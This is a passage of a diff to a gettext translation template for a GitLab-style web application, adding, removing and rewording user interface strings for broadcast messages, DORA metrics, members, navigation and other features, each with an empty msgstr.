msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -4704,6 +4731,18 @@ msgstr ""
msgid "Append the comment with %{tableflip}"
msgstr ""
+msgid "AppleAppStore|The Apple App Store Connect Issuer ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Key ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Private Key."
+msgstr ""
+
+msgid "AppleAppStore|Use GitLab to build and release an app in the Apple App Store."
+msgstr ""
+
msgid "Application"
msgstr ""
@@ -4846,9 +4885,6 @@ msgstr ""
msgid "ApplicationSettings|Send a confirmation email during sign up. New users must confirm their email address before they can log in."
msgstr ""
-msgid "ApplicationSettings|Send confirmation email on sign-up"
-msgstr ""
-
msgid "ApplicationSettings|Sign-up enabled"
msgstr ""
@@ -4938,6 +4974,9 @@ msgstr ""
msgid "Applying suggestions..."
msgstr ""
+msgid "Approval options"
+msgstr ""
+
msgid "Approval rules"
msgstr ""
@@ -5078,6 +5117,9 @@ msgstr ""
msgid "Approvals are optional."
msgstr ""
+msgid "Approvals required"
+msgstr ""
+
msgid "Approvals|Section: %section"
msgstr ""
@@ -5629,6 +5671,9 @@ msgstr ""
msgid "AuditStreams|Custom HTTP headers (optional)"
msgstr ""
+msgid "AuditStreams|Defines which streaming events are captured"
+msgstr ""
+
msgid "AuditStreams|Delete %{link}"
msgstr ""
@@ -5644,12 +5689,18 @@ msgstr ""
msgid "AuditStreams|Edit %{link}"
msgstr ""
+msgid "AuditStreams|Event filtering (optional)"
+msgstr ""
+
msgid "AuditStreams|Header"
msgstr ""
msgid "AuditStreams|Maximum of %{number} HTTP headers has been reached."
msgstr ""
+msgid "AuditStreams|No filters available. %{linkStart}How do I add a filter?%{linkEnd}"
+msgstr ""
+
msgid "AuditStreams|Remove custom header"
msgstr ""
@@ -7221,9 +7272,93 @@ msgstr ""
msgid "Broadcast Messages"
msgstr ""
+msgid "BroadcastMessages|Add broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Allow users to dismiss the broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Banner"
+msgstr ""
+
+msgid "BroadcastMessages|Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Dark"
+msgstr ""
+
+msgid "BroadcastMessages|Dismissable"
+msgstr ""
+
+msgid "BroadcastMessages|Ends at"
+msgstr ""
+
+msgid "BroadcastMessages|Green"
+msgstr ""
+
+msgid "BroadcastMessages|Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light"
+msgstr ""
+
+msgid "BroadcastMessages|Light Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Light Green"
+msgstr ""
+
+msgid "BroadcastMessages|Light Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light Red"
+msgstr ""
+
+msgid "BroadcastMessages|Message"
+msgstr ""
+
+msgid "BroadcastMessages|Notification"
+msgstr ""
+
+msgid "BroadcastMessages|Paths can contain wildcards, like */welcome"
+msgstr ""
+
+msgid "BroadcastMessages|Red"
+msgstr ""
+
+msgid "BroadcastMessages|Starts at"
+msgstr ""
+
+msgid "BroadcastMessages|Target Path"
+msgstr ""
+
+msgid "BroadcastMessages|Target roles"
+msgstr ""
+
+msgid "BroadcastMessages|The broadcast message displays only to users in projects and groups who have these roles."
+msgstr ""
+
+msgid "BroadcastMessages|Theme"
+msgstr ""
+
+msgid "BroadcastMessages|There was an error adding broadcast message."
+msgstr ""
+
+msgid "BroadcastMessages|There was an error updating broadcast message."
+msgstr ""
+
msgid "BroadcastMessages|There was an issue deleting this message, please try again later."
msgstr ""
+msgid "BroadcastMessages|Type"
+msgstr ""
+
+msgid "BroadcastMessages|Update broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Your message here"
+msgstr ""
+
msgid "Browse Directory"
msgstr ""
@@ -7820,6 +7955,9 @@ msgstr ""
msgid "Cannot promote issue due to insufficient permissions."
msgstr ""
+msgid "Cannot push to source branch"
+msgstr ""
+
msgid "Cannot refer to a group milestone by an internal id!"
msgstr ""
@@ -7931,13 +8069,10 @@ msgstr ""
msgid "Change your password or recover your current one"
msgstr ""
-msgid "ChangeReviewer|Reviewer changed from %{old} to %{new}"
-msgstr ""
-
-msgid "ChangeReviewer|Reviewer changed to %{new}"
+msgid "ChangeReviewer|%{added_reviewers_text}%{removed_reviewers_text}"
msgstr ""
-msgid "ChangeReviewer|Unassigned"
+msgid "ChangeReviewer|All reviewers were removed."
msgstr ""
msgid "ChangeTypeAction|Cherry-pick"
@@ -8220,6 +8355,9 @@ msgstr ""
msgid "Checkout|Country"
msgstr ""
+msgid "Checkout|Coupon code (optional)"
+msgstr ""
+
msgid "Checkout|Create a new group"
msgstr ""
@@ -8379,12 +8517,6 @@ msgstr ""
msgid "Child epic"
msgstr ""
-msgid "Child epic does not exist."
-msgstr ""
-
-msgid "Child epic doesn't exist."
-msgstr ""
-
msgid "Child issues and epics"
msgstr ""
@@ -8568,6 +8700,9 @@ msgstr ""
msgid "CiVariables|This %{entity} has %{currentVariableCount} defined CI/CD variables. The maximum number of variables per %{entity} is %{maxVariableLimit}. To add new variables, you must reduce the number of defined variables."
msgstr ""
+msgid "CiVariables|Trigger this manual action"
+msgstr ""
+
msgid "CiVariables|Type"
msgstr ""
@@ -8693,6 +8828,9 @@ msgstr ""
msgid "Click the link below to confirm your email address."
msgstr ""
+msgid "Click to expand"
+msgstr ""
+
msgid "Click to expand it."
msgstr ""
@@ -8795,12 +8933,18 @@ msgstr ""
msgid "Closed this %{quick_action_target}."
msgstr ""
+msgid "Closed this issue. Marked as related to, and a duplicate of, %{duplicate_param}."
+msgstr ""
+
msgid "Closed: %{closed}"
msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Closes this issue. Marks as related to, and a duplicate of, %{duplicate_reference}."
+msgstr ""
+
msgid "Cloud Run"
msgstr ""
@@ -9466,21 +9610,6 @@ msgstr ""
msgid "ClusterIntegration|Every new Google Cloud Platform (GCP) account receives $300 in credit upon %{sign_up_link}. In partnership with Google, GitLab is able to offer an additional $200 for both new and existing GCP accounts to get started with GitLab's Google Kubernetes Engine Integration."
msgstr ""
-msgid "ClusterIntegration|Failed to configure EKS provider: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to configure Google Kubernetes Engine Cluster: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to fetch CloudFormation stack: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to request to Google Cloud Platform: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to run Kubeclient: %{message}"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -9969,6 +10098,9 @@ msgstr ""
msgid "Committed by"
msgstr ""
+msgid "CommonJS module"
+msgstr ""
+
msgid "Community forum"
msgstr ""
@@ -10860,6 +10992,9 @@ msgstr ""
msgid "Continue to the next step"
msgstr ""
+msgid "Continue with overages"
+msgstr ""
+
msgid "Continuous Integration and Deployment"
msgstr ""
@@ -11253,6 +11388,9 @@ msgstr ""
msgid "Country"
msgstr ""
+msgid "Counts"
+msgstr ""
+
msgid "Counts reflect children you may not have access to."
msgstr ""
@@ -12149,6 +12287,9 @@ msgstr ""
msgid "CycleAnalytics|project dropdown filter"
msgstr ""
+msgid "CycleAnalytics|the assigned object is not supported"
+msgstr ""
+
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -12173,6 +12314,9 @@ msgstr ""
msgid "DORA4Metrics|Average (last %{days}d)"
msgstr ""
+msgid "DORA4Metrics|Average number of deployments to production per day. This metric measures how often value is delivered to end users."
+msgstr ""
+
msgid "DORA4Metrics|Change Failure Rate"
msgstr ""
@@ -12185,7 +12329,10 @@ msgstr ""
msgid "DORA4Metrics|Cycle time"
msgstr ""
-msgid "DORA4Metrics|DORA metrics for %{groupName} group"
+msgid "DORA4Metrics|DORA metrics for %{name} group"
+msgstr ""
+
+msgid "DORA4Metrics|DORA metrics for %{name} project"
msgstr ""
msgid "DORA4Metrics|Date"
@@ -12206,6 +12353,12 @@ msgstr ""
msgid "DORA4Metrics|Deploys"
msgstr ""
+msgid "DORA4Metrics|Failed to load charts"
+msgstr ""
+
+msgid "DORA4Metrics|Go to docs"
+msgstr ""
+
msgid "DORA4Metrics|Lead Time for Changes"
msgstr ""
@@ -12227,6 +12380,12 @@ msgstr ""
msgid "DORA4Metrics|Median time an incident was open in a production environment over the given time period."
msgstr ""
+msgid "DORA4Metrics|Median time from issue created to issue closed."
+msgstr ""
+
+msgid "DORA4Metrics|Median time from the earliest commit of a linked issue's merge request to when that issue is closed."
+msgstr ""
+
msgid "DORA4Metrics|Month to date"
msgstr ""
@@ -12245,6 +12404,15 @@ msgstr ""
msgid "DORA4Metrics|Number of incidents divided by the number of deployments to a production environment in the given time period."
msgstr ""
+msgid "DORA4Metrics|Number of new issues created."
+msgstr ""
+
+msgid "DORA4Metrics|Past 6 Months"
+msgstr ""
+
+msgid "DORA4Metrics|Percentage of deployments that cause an incident in production."
+msgstr ""
+
msgid "DORA4Metrics|Percentage of failed deployments"
msgstr ""
@@ -12266,6 +12434,12 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DORA4Metrics|The time it takes an organization to recover from a failure in production."
+msgstr ""
+
+msgid "DORA4Metrics|The time to successfully deliver a commit into production. This metric reflects the efficiency of CI/CD pipelines."
+msgstr ""
+
msgid "DORA4Metrics|Time to Restore Service"
msgstr ""
@@ -12275,6 +12449,9 @@ msgstr ""
msgid "DORA4Metrics|Time to restore service (median days)"
msgstr ""
+msgid "DORA4Metrics|Total number of deploys to production."
+msgstr ""
+
msgid "DSN"
msgstr ""
@@ -12290,9 +12467,6 @@ msgstr ""
msgid "DashboardProjects|Personal"
msgstr ""
-msgid "DashboardProjects|Trending"
-msgstr ""
-
msgid "Dashboards"
msgstr ""
@@ -13210,11 +13384,10 @@ msgstr ""
msgid "DeletionSettings|Keep deleted"
msgstr ""
-msgid "DeletionSettings|Keep deleted projects for %{number} days"
-msgstr ""
-
-msgid "DeletionSettings|Keep deleted projects for 1 day"
-msgstr ""
+msgid "DeletionSettings|Keep deleted projects for %{number} day"
+msgid_plural "DeletionSettings|Keep deleted projects for %{number} days"
+msgstr[0] ""
+msgstr[1] ""
msgid "DeletionSettings|None, delete immediately"
msgstr ""
@@ -13279,6 +13452,9 @@ msgstr ""
msgid "Dependencies|Dependency path"
msgstr ""
+msgid "Dependencies|Error exporting the dependency list. Please reload the page."
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -13660,9 +13836,15 @@ msgstr ""
msgid "Deployment Target|Select the deployment target"
msgstr ""
+msgid "Deployment approvals is not configured for this environment."
+msgstr ""
+
msgid "Deployment frequency"
msgstr ""
+msgid "DeploymentApprovals|Allow pipeline triggerer to approve deployment."
+msgstr ""
+
msgid "DeploymentApprovals|Approvals"
msgstr ""
@@ -13678,6 +13860,12 @@ msgstr ""
msgid "DeploymentApprovals|Maintainers"
msgstr ""
+msgid "DeploymentApprovals|Set how approval rules are applied to deployments in protected environments."
+msgstr ""
+
+msgid "DeploymentApprovals|When a pipeline runs, deployment jobs will automatically be approved in the pipeline if the triggerer is allowed to approve."
+msgstr ""
+
msgid "DeploymentApproval| Current approvals: %{current}"
msgstr ""
@@ -13761,6 +13949,12 @@ msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
msgstr[1] ""
+msgid "Deployments|Define environments in the deploy stage(s) in %{code_open}.gitlab-ci.yml%{code_close} to track deployments here."
+msgstr ""
+
+msgid "Deployments|You don't have any deployments right now."
+msgstr ""
+
msgid "Deployment|API"
msgstr ""
@@ -14030,7 +14224,7 @@ msgstr ""
msgid "DevOps adoption"
msgstr ""
-msgid "DevOps metrics comparison (Alpha)"
+msgid "DevOps metrics comparison (Beta)"
msgstr ""
msgid "Developer"
@@ -14255,6 +14449,9 @@ msgstr ""
msgid "Difference between start date and now"
msgstr ""
+msgid "Different user's signature"
+msgstr ""
+
msgid "DiffsCompareBaseBranch|(HEAD)"
msgstr ""
@@ -14746,6 +14943,9 @@ msgstr ""
msgid "E-mail:"
msgstr ""
+msgid "ESM module"
+msgstr ""
+
msgid "Each project can also have an issue tracker and a wiki."
msgstr ""
@@ -15943,10 +16143,7 @@ msgstr ""
msgid "Error: Couldn't load some or all of the changes."
msgstr ""
-msgid "Error: No AWS credentials were supplied"
-msgstr ""
-
-msgid "Error: No AWS provision role found for user"
+msgid "Error: Gitaly is unavailable. Contact your administrator."
msgstr ""
msgid "Error: Unable to create deploy freeze"
@@ -15955,9 +16152,6 @@ msgstr ""
msgid "Error: Unable to delete deploy freeze"
msgstr ""
-msgid "Error: Unable to find AWS role for current user"
-msgstr ""
-
msgid "ErrorTracking|Access token is %{token_in_code_tag}"
msgstr ""
@@ -16455,9 +16649,6 @@ msgstr ""
msgid "Expires %{preposition} %{expires_at}"
msgstr ""
-msgid "Expires on"
-msgstr ""
-
msgid "Expires:"
msgstr ""
@@ -16491,9 +16682,6 @@ msgstr ""
msgid "Explore snippets"
msgstr ""
-msgid "Explore topics"
-msgstr ""
-
msgid "Export"
msgstr ""
@@ -16813,9 +17001,6 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
-msgid "Failed to promote issue to incident"
-msgstr ""
-
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -17241,9 +17426,6 @@ msgstr ""
msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
-msgid "Filter by Git revision"
-msgstr ""
-
msgid "Filter by issues that are currently closed."
msgstr ""
@@ -17562,16 +17744,13 @@ msgstr ""
msgid "ForksDivergence|%{messages} upstream repository"
msgstr ""
-msgid "ForksDivergence|Up to date with upstream repository"
-msgstr ""
-
-msgid "Format: %{dateFormat}"
+msgid "ForksDivergence|Fork has diverged from upstream repository"
msgstr ""
-msgid "Found errors in your %{gitlab_ci_yml}:"
+msgid "ForksDivergence|Up to date with upstream repository"
msgstr ""
-msgid "Found errors in your .gitlab-ci.yml:"
+msgid "Format: %{dateFormat}"
msgstr ""
msgid "Framework successfully deleted"
@@ -17669,6 +17848,9 @@ msgstr ""
msgid "GPG Keys"
msgstr ""
+msgid "GPG key mismatch"
+msgstr ""
+
msgid "GPG keys allow you to verify signed commits."
msgstr ""
@@ -18327,9 +18509,6 @@ msgstr ""
msgid "Git"
msgstr ""
-msgid "Git GC period"
-msgstr ""
-
msgid "Git LFS Rate Limits"
msgstr ""
@@ -18743,6 +18922,9 @@ msgstr ""
msgid "Global Shortcuts"
msgstr ""
+msgid "Global notification email"
+msgstr ""
+
msgid "Global notification level"
msgstr ""
@@ -18755,6 +18937,12 @@ msgstr ""
msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
msgstr ""
+msgid "GlobalSearch|Close"
+msgstr ""
+
+msgid "GlobalSearch|Group"
+msgstr ""
+
msgid "GlobalSearch|Groups"
msgstr ""
@@ -18779,6 +18967,9 @@ msgstr ""
msgid "GlobalSearch|Merge requests that I'm a reviewer"
msgstr ""
+msgid "GlobalSearch|Project"
+msgstr ""
+
msgid "GlobalSearch|Projects"
msgstr ""
@@ -18797,6 +18988,9 @@ msgstr ""
msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
msgstr ""
+msgid "GlobalSearch|Search"
+msgstr ""
+
msgid "GlobalSearch|Search GitLab"
msgstr ""
@@ -18809,9 +19003,15 @@ msgstr ""
msgid "GlobalSearch|Settings"
msgstr ""
+msgid "GlobalSearch|Syntax options"
+msgstr ""
+
msgid "GlobalSearch|There was an error fetching search autocomplete suggestions."
msgstr ""
+msgid "GlobalSearch|There was an error fetching the \"Syntax Options\" document."
+msgstr ""
+
msgid "GlobalSearch|Type and press the enter key to submit search."
msgstr ""
@@ -19136,6 +19336,12 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
+msgid "Group '%{group_name}' could not be updated."
+msgstr ""
+
+msgid "Group '%{group_name}' was successfully updated."
+msgstr ""
+
msgid "Group Access Tokens"
msgstr ""
@@ -19298,7 +19504,7 @@ msgstr ""
msgid "GroupActivityMetrics|Recent activity"
msgstr ""
-msgid "GroupImport|Failed to import group."
+msgid "GroupImport|Failed to import group: %{error}"
msgstr ""
msgid "GroupImport|Group '%{group_name}' is being imported."
@@ -19781,9 +19987,15 @@ msgstr ""
msgid "GroupsEmptyState|If you organize your projects under a group, it works like a folder."
msgstr ""
+msgid "GroupsEmptyState|No archived projects."
+msgstr ""
+
msgid "GroupsEmptyState|No groups found"
msgstr ""
+msgid "GroupsEmptyState|No shared projects."
+msgstr ""
+
msgid "GroupsEmptyState|No subgroups or projects."
msgstr ""
@@ -19838,6 +20050,9 @@ msgstr ""
msgid "GroupsNew|Import groups from another instance of GitLab"
msgstr ""
+msgid "GroupsNew|Importing groups by direct transfer is currently disabled."
+msgstr ""
+
msgid "GroupsNew|No import options available"
msgstr ""
@@ -19847,6 +20062,12 @@ msgstr ""
msgid "GroupsNew|Personal access token"
msgstr ""
+msgid "GroupsNew|Please %{admin_link_start}enable it in the Admin settings%{admin_link_end}."
+msgstr ""
+
+msgid "GroupsNew|Please ask your Administrator to enable it in the Admin settings."
+msgstr ""
+
msgid "GroupsNew|Please fill in GitLab source URL."
msgstr ""
@@ -19856,6 +20077,9 @@ msgstr ""
msgid "GroupsNew|Provide credentials for another instance of GitLab to import your groups directly."
msgstr ""
+msgid "GroupsNew|Remember to enable it also on the instance you are migrating from."
+msgstr ""
+
msgid "GroupsNew|This feature is deprecated and replaced by %{docs_link_start}group migration%{docs_link_end}."
msgstr ""
@@ -19973,6 +20197,9 @@ msgstr ""
msgid "HAR file path or URL"
msgstr ""
+msgid "HTML script tag"
+msgstr ""
+
msgid "HTTP Archive (HAR)"
msgstr ""
@@ -20284,6 +20511,12 @@ msgstr ""
msgid "Hierarchy|Planning hierarchy"
msgstr ""
+msgid "Hierarchy|Something went wrong while fetching children."
+msgstr ""
+
+msgid "Hierarchy|Something went wrong while removing a child item."
+msgstr ""
+
msgid "Hierarchy|Take the work items survey"
msgstr ""
@@ -20698,9 +20931,6 @@ msgstr ""
msgid "If no options are selected, only administrators can register runners."
msgstr ""
-msgid "If none of the options work, try contacting a GitLab administrator."
-msgstr ""
-
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
@@ -20722,6 +20952,9 @@ msgstr ""
msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
msgstr ""
+msgid "If you are unable to sign in or recover your password, contact a GitLab administrator."
+msgstr ""
+
msgid "If you did not initiate these sign-in attempts, please reach out to your administrator or enable two-factor authentication (2FA) on your account."
msgstr ""
@@ -20942,12 +21175,24 @@ msgstr ""
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
+msgid "ImportProjects|Cancel import"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed: %{reason}"
+msgstr ""
+
msgid "ImportProjects|Error importing repository %{project_safe_import_url} into %{project_full_path} - %{message}"
msgstr ""
msgid "ImportProjects|Import repositories"
msgstr ""
+msgid "ImportProjects|Imported files will be kept. You can import this repository again later."
+msgstr ""
+
msgid "ImportProjects|Importing the project failed"
msgstr ""
@@ -22006,7 +22251,7 @@ msgstr ""
msgid "Insights|Configure a custom report for insights into your group processes such as amount of issues, bugs, and merge requests per month. %{linkStart}How do I configure an insights report?%{linkEnd}"
msgstr ""
-msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config for more information)."
+msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config in the YAML file or the enabled project features (issues, merge requests) in the project settings)."
msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
@@ -22068,9 +22313,18 @@ msgstr ""
msgid "IntegrationEvents|A confidential issue is created, updated, or closed"
msgstr ""
+msgid "IntegrationEvents|A deployment is started or finished"
+msgstr ""
+
msgid "IntegrationEvents|A merge request is created, updated, or merged"
msgstr ""
+msgid "IntegrationEvents|A new, unique alert is recorded"
+msgstr ""
+
+msgid "IntegrationEvents|A new, unique, vulnerability is recorded. (Note: This feature requires an Ultimate plan)"
+msgstr ""
+
msgid "IntegrationEvents|A pipeline status changes"
msgstr ""
@@ -22221,6 +22475,9 @@ msgstr ""
msgid "Integrations|Instance-level integration management"
msgstr ""
+msgid "Integrations|Integration details"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -23423,6 +23680,9 @@ msgstr ""
msgid "JiraService|Change GitLab version"
msgstr ""
+msgid "JiraService|Continue setup in GitLab"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -23471,6 +23731,9 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
+msgid "JiraService|In order to complete the set up, you’ll need to complete a few steps in GitLab."
+msgstr ""
+
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
@@ -23615,9 +23878,6 @@ msgstr ""
msgid "Jobs|All"
msgstr ""
-msgid "Jobs|An error occurred while loading the Failed Jobs tab."
-msgstr ""
-
msgid "Jobs|Are you sure you want to proceed?"
msgstr ""
@@ -23933,9 +24193,6 @@ msgstr ""
msgid "Kubernetes cluster"
msgstr ""
-msgid "Kubernetes cluster creation time exceeds timeout; %{timeout}"
-msgstr ""
-
msgid "Kubernetes cluster integration and resources are being removed."
msgstr ""
@@ -24096,9 +24353,6 @@ msgstr ""
msgid "Last Seen"
msgstr ""
-msgid "Last Sync"
-msgstr ""
-
msgid "Last Used"
msgstr ""
@@ -24231,6 +24485,9 @@ msgstr ""
msgid "Learn More."
msgstr ""
+msgid "Learn about signing commits"
+msgstr ""
+
msgid "Learn about signing commits with SSH keys."
msgstr ""
@@ -24300,9 +24557,6 @@ msgstr ""
msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
-msgid "Learn more about signing commits"
-msgstr ""
-
msgid "Learn more in the"
msgstr ""
@@ -25056,6 +25310,9 @@ msgstr ""
msgid "Make everyone on your team more productive regardless of their location. GitLab Geo creates read-only mirrors of your GitLab instance so you can reduce the time it takes to clone and fetch large repos."
msgstr ""
+msgid "Make new users' profiles private by default"
+msgstr ""
+
msgid "Make sure you choose a strong, unique password."
msgstr ""
@@ -25071,9 +25328,6 @@ msgstr ""
msgid "Manage %{workspace} labels"
msgstr ""
-msgid "Manage Dashboards"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -25173,6 +25427,9 @@ msgstr ""
msgid "Mark to do as done"
msgstr ""
+msgid "Markdown"
+msgstr ""
+
msgid "Markdown Help"
msgstr ""
@@ -25242,9 +25499,6 @@ msgstr ""
msgid "Marked this %{noun} as ready."
msgstr ""
-msgid "Marked this issue as a duplicate of %{duplicate_param}."
-msgstr ""
-
msgid "Marked this issue as related to %{issue_ref}."
msgstr ""
@@ -25257,9 +25511,6 @@ msgstr ""
msgid "Marks this %{noun} as ready."
msgstr ""
-msgid "Marks this issue as a duplicate of %{duplicate_reference}."
-msgstr ""
-
msgid "Marks this issue as related to %{issue_ref}."
msgstr ""
@@ -25599,6 +25850,9 @@ msgstr ""
msgid "MemberRole|can't be changed"
msgstr ""
+msgid "MemberRole|cannot be changed because it is already assigned to a user. Please create a new Member Role instead"
+msgstr ""
+
msgid "MemberRole|must be top-level namespace"
msgstr ""
@@ -25636,6 +25890,9 @@ msgstr[1] ""
msgid "Membership"
msgstr ""
+msgid "Members|%{group} by %{createdBy}"
+msgstr ""
+
msgid "Members|%{time} by %{user}"
msgstr ""
@@ -25645,6 +25902,21 @@ msgstr ""
msgid "Members|2FA"
msgstr ""
+msgid "Members|A group must have at least one owner. To leave this group, assign a new owner."
+msgstr ""
+
+msgid "Members|A group must have at least one owner. To remove the member, assign a new owner."
+msgstr ""
+
+msgid "Members|A personal project's owner cannot be removed."
+msgstr ""
+
+msgid "Members|Access granted"
+msgstr ""
+
+msgid "Members|Activity"
+msgstr ""
+
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
msgstr ""
@@ -25666,10 +25938,10 @@ msgstr ""
msgid "Members|Are you sure you want to remove \"%{groupName}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove %{usersName} from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove %{userName} from \"%{group}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove this orphaned member from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove this orphaned member from \"%{group}\"?"
msgstr ""
msgid "Members|Are you sure you want to revoke the invitation for %{inviteEmail} to join \"%{source}\""
@@ -25678,9 +25950,15 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Cannot leave \"%{source}\""
+msgstr ""
+
msgid "Members|Direct"
msgstr ""
+msgid "Members|Direct member by %{createdBy}"
+msgstr ""
+
msgid "Members|Disabled"
msgstr ""
@@ -25708,6 +25986,9 @@ msgstr ""
msgid "Members|LDAP override enabled."
msgstr ""
+msgid "Members|Last activity"
+msgstr ""
+
msgid "Members|Leave \"%{source}\""
msgstr ""
@@ -25735,6 +26016,12 @@ msgstr ""
msgid "Members|Search invited"
msgstr ""
+msgid "Members|User created"
+msgstr ""
+
+msgid "Members|You cannot remove yourself from a personal project."
+msgstr ""
+
msgid "Member|Deny access"
msgstr ""
@@ -26020,10 +26307,13 @@ msgstr ""
msgid "MergeRequest|Error loading full diff. Please try again."
msgstr ""
+msgid "MergeRequest|Failed to load the page"
+msgstr ""
+
msgid "MergeRequest|No files found"
msgstr ""
-msgid "MergeRequest|Search (e.g. *.vue) (%{modifier_key}P)"
+msgid "MergeRequest|Search (e.g. *.vue) (%{MODIFIER_KEY}P)"
msgstr ""
msgid "MergeTopics|%{sourceTopic} will be removed"
@@ -26083,6 +26373,9 @@ msgstr ""
msgid "Messages"
msgstr ""
+msgid "Metadata"
+msgstr ""
+
msgid "Method"
msgstr ""
@@ -26510,6 +26803,12 @@ msgstr ""
msgid "MilestoneCombobox|Select milestone"
msgstr ""
+msgid "MilestonePage|Copy milestone ID"
+msgstr ""
+
+msgid "MilestonePage|Milestone ID: %{milestone_id}"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -26906,6 +27205,9 @@ msgstr ""
msgid "Multiple Prometheus integrations are not supported"
msgstr ""
+msgid "Multiple signatures"
+msgstr ""
+
msgid "Multiplier to apply to polling intervals. Decimal values are supported. Defaults to 1."
msgstr ""
@@ -26930,6 +27232,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can contain only letters, digits, emojis, '_', '.', '+', dashes, or spaces"
+msgstr ""
+
msgid "Name can't be blank"
msgstr ""
@@ -26939,6 +27244,9 @@ msgstr ""
msgid "Name is already taken."
msgstr ""
+msgid "Name must start with a letter, digit, emoji, or '_'"
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -26962,24 +27270,36 @@ msgid_plural "NamespaceStorageSize|%{namespace_name} contains %{locked_project_c
msgstr[0] ""
msgstr[1] ""
-msgid "NamespaceStorageSize|%{namespace_name} is now read-only. You cannot: %{base_message}"
+msgid "NamespaceStorageSize|%{namespace_name} is now read-only. Projects under this namespace are locked and actions are restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If %{namespace_name} exceeds the storage quota, all projects in the namespace will be locked and actions will be restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{base_message}"
+msgid "NamespaceStorageSize|Manage your storage usage or, if you are a namespace Owner, purchase additional storage."
msgstr ""
-msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Which actions are restricted?"
msgstr ""
-msgid "NamespaceStorageSize|You have reached %{usage_in_percent} of %{namespace_name}'s storage capacity (%{used_storage} of %{storage_limit})"
+msgid "NamespaceStorageSize|Which actions become restricted?"
+msgstr ""
+
+msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{repository_limits_description}"
msgstr ""
msgid "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on one or more projects."
msgstr ""
+msgid "NamespaceStorageSize|You have used %{usage_in_percent} of the storage quota for %{namespace_name} (%{used_storage} of %{storage_limit})"
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -27073,6 +27393,27 @@ msgstr ""
msgid "NavigationTheme|Red"
msgstr ""
+msgid "Navigation|Context navigation"
+msgstr ""
+
+msgid "Navigation|Recent groups"
+msgstr ""
+
+msgid "Navigation|Recent projects"
+msgstr ""
+
